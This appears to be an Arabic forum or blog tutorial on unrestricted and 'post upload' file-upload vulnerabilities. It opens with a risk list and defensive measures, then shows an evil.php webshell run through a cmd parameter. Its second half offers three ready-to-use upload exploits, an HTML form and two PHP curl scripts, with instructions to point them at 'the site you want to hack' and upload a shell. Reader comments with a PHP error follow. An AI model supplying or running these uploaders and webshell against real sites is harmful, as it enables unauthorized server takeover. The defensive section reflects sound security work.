السلام عليكم و رحمة الله و بركاته
اليوم سوف نتعرف مع بعض على ثغرات البوست ابلود post upload
قبل كل هاد يجب ان نتعرف على ما هي ثغرة ابلود نفسها لكي نفهم البوست ابلود
في قابلية رفع الملفات هناك مشاكل كثيرة يمكن ان تحصل في
أمن التطبيق أو الموقع سنناقش اليوم كل ما يتعلق
بثغرة Unrestricted File Upload
الوصف
تحميل الملفات في الموقع له خطورة كبيرة على النظام كاملاً فأي
مهاجم يحتاج الى دخول النظام عن طريق الحصول على قابلية تنفيذ
بعض التعليمات البرمجية التي تؤدي الى حصول المهاجم على
الصلاحيات الادارية او الصلاحيات المطلقة للتحكم في السيرفر
, الموقع , التطبيق .
وعواقب تحميل ملفات على الموقع قد تختلف باختلاف نوع الملفات
وصيغها والمحتوى الذي تشمله .
المخاطر
- حقن اكواد مصدرية ينفذها السيرفر كتعليمات برمجية ممكن أن يؤدي الى السيطرة الكاملة على النظام
- رفع شيل يمكنه ان ينفذ الاوامر , يتصفح الملفات , يدرج ويعدل على الملفات في حالة الصلاحيات الخاصة بالملف . وبالتالي فشل النظام بالكامل
- رفع صفحة تصيد على الموقع وبذلك يتم سحب الباسوردات والرموز والى ما شابه ذالك .
- تخطي SOP من خلال رفع صفحة على نفس الموقع تقوم بارسال الطلبات .
- يمكن للمهاجم ان يضع XSS مخزنة في النظام والموقع ويصيب المستخدمين او المدراء .
- رفع ملفات script في الموقع .
- رفع ملفات تحتوي اكواد ضارة تؤثر على المتصفحات القديمة مثل IE وتصيب المستخدمين
مثال على العملية
لمهاجمة السيرفر
- رفع ملفات php , jsp aspx,asp وغيرها لتنفيذها كتعليمات مصدرية .
- رفع ملفات ذات حجم كبير للتسبب في DOS في السيرفر .
مهاجمة التطبيق واعضائه
- رفع ملفات .gif لمهاجمة مكتبة معينة حين تقوم بفلترة الصورة (مثال في المصادر) .
- رفع ملف EXE تنفيذي في موقع موثوق وارساله كتحديث للبرنامج .
- رفع ملفات فايروسات اخرى على موقع موثوق ومحمي ومؤتمن من قبل الاعضاء .
- رفع ملفات HTML للتسبب في ثغرات XSS .
كيفية الحماية من ثغرات Unrestricted File Upload
هناك العديد من المبرمجين يحتاجون لمعرفة كيفية حماية تطبيقاتهم
الخاصة والمواقع التي يديروها في سبيل سلامة المستخدمين
والسيرفر . هناك عدة من الاجراءات التي يمكنك القيام بها لضمان
امن رفع الملفات
- استخدام حظر صيغ ملفات غير مصرح بها لبعض الصيغ مثل (php , asp , jsp ,html , htm ,exe .cmd …etc )
- استخدام تمرير او قبول ببعض الصيغ المصرح بها (مثل txt , png ,jpg , zip ,..etc )
- جعل موضوع الرفع محمي بواسطة ملفات هتاكسس اذا توفرت او جعل اي ملف يتم تنزيله للمستخدم للحماية من رفع الشيل .
- استخدام تحققات لل HEADER ومطابقة ال Content-Type للصيغ المصرح بها .
- استخدام مكتبات و API التعرف على صيغ الملفات المتوفرة وابقائها على تحديثات الكاتبين للمكتبة حتى لا يتم كسر التحقق .
- هناك العديد من المشاكل تواجه اسماء الملفات لذلك يجب منع وضع الاسماء برموز حتى لا ينفذها النظام كتعليمات وتتسبب في XSS .
مثال عملي
ملف upload.html
ملف upload_picture.php
الان لو ناتي لملاحظة ملف الرفع نلاحظ عدم وجود اي فلترة او حماية للملفات المرفوعة لذلك لنرفع ملف به امر برمجي .
ومثل ما يمكن رؤيته الملف سيتم تخزينه في مسار الرفع .
ملف evil.php
دالة system تقوم بعمل اوامر للنظام
بأعتبار ان الملف سيتم رفعه في مجلد الصور لكن الصيغة هي php لذلك السيرفر سيقرأه كملف php ويتم تنفيذه
لو فرضنا ان الموقع هو server.example.com
http://server.example.com/upload_dir/evil.php?cmd=ls%20-l
مسار الرفع لنفرض سيكون /upload_dir/ في متغير cmd
وضعنا ls%20-l وهو امر للسيرفر لعرض الملفات في المجلد الحالي
سيتم تطبيقه بواسطة الدالة system .
سيتم عرض ملفات السيرفر
========================================================================
بوست ابلود مشابهة تماما الى فايل ابلود و لكن البوست ابلود لا
يوجد واجهة رفع لرفع الملفات بل يوجد فقط مسار الملف الخاص به
و من تصفحه سيضهر لنا خطء في الصفحة او تاتي الصفحة بيضاء و
منها يمكننا ان نقوم ب رفع الملفات الضارة على الموقع و يكون لها
طرق عديدة من الاستغلالات و سوف اضع 3 سكرباتا ل اختراق
المواقع المصابة
1 سكربت HTML
<html>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1/upload.php" method="post">
File: <input name="files[]" type="file" /><br />
<input type="submit" value="submit!" />
</form>
</body>
</html>
قم ب تغيير http://127.0.0.1/upload.php الى رابط الموقع الدي تريد اختراقه
و ادهب الى المتصفح و قم ب عرض الملف الخاص بك ب سيغة html
مثال exploit.html
2 استغلال ب php
<?php
$url = "http://127.0.0.1/upload.php"; // put URL Here
$post = array
(
"file" => "@file.jpg",
"name" => "file.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;
?>
قم ب تغيير http://127.0.0.1/upload.php الى رابط الموقع المصاب ب الثغرة
و قم ب تغير file.jpg الى اسم الملف الدي تريد رفعه على الموقع
شرط ان يكون الملف في نفس المسار الدي يوجد به الاستغلال و
قم ب تشغيل الستغلال من لوحة الترمنال ب عمل له اكسكيوت
مثال
php exploit.php
و سيتم رفع الشل او الملف الدي تريد رفعه عل الموقع المصاب
و ادا لم ينجح معك الامر جرب الستغلال 2 ب لغة php
الاستغلال ب لغة php الجزء 2
<?php
$uploadfile="file.php";
$ch = curl_init("http://127.0.0.1/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>
ك العادة قم ب تغيير http://127.0.0.1/upload.php الى رابط الموقع المستهدف
و قم قم ب تغير اسم الملف الدي تريد رفعه file.php و قم ب تشغيل الملف من لوحة الترمنال
tnx souhaib 🙂
help me
root@kali:~/Desktop/exploit upload# php up.php
PHP Fatal error: Uncaught Error: Call to undefined function curl_init() in /root/Desktop/exploit upload/up.php:8
Stack trace:
#0 {main}
thrown in /root/Desktop/exploit upload/up.php on line 8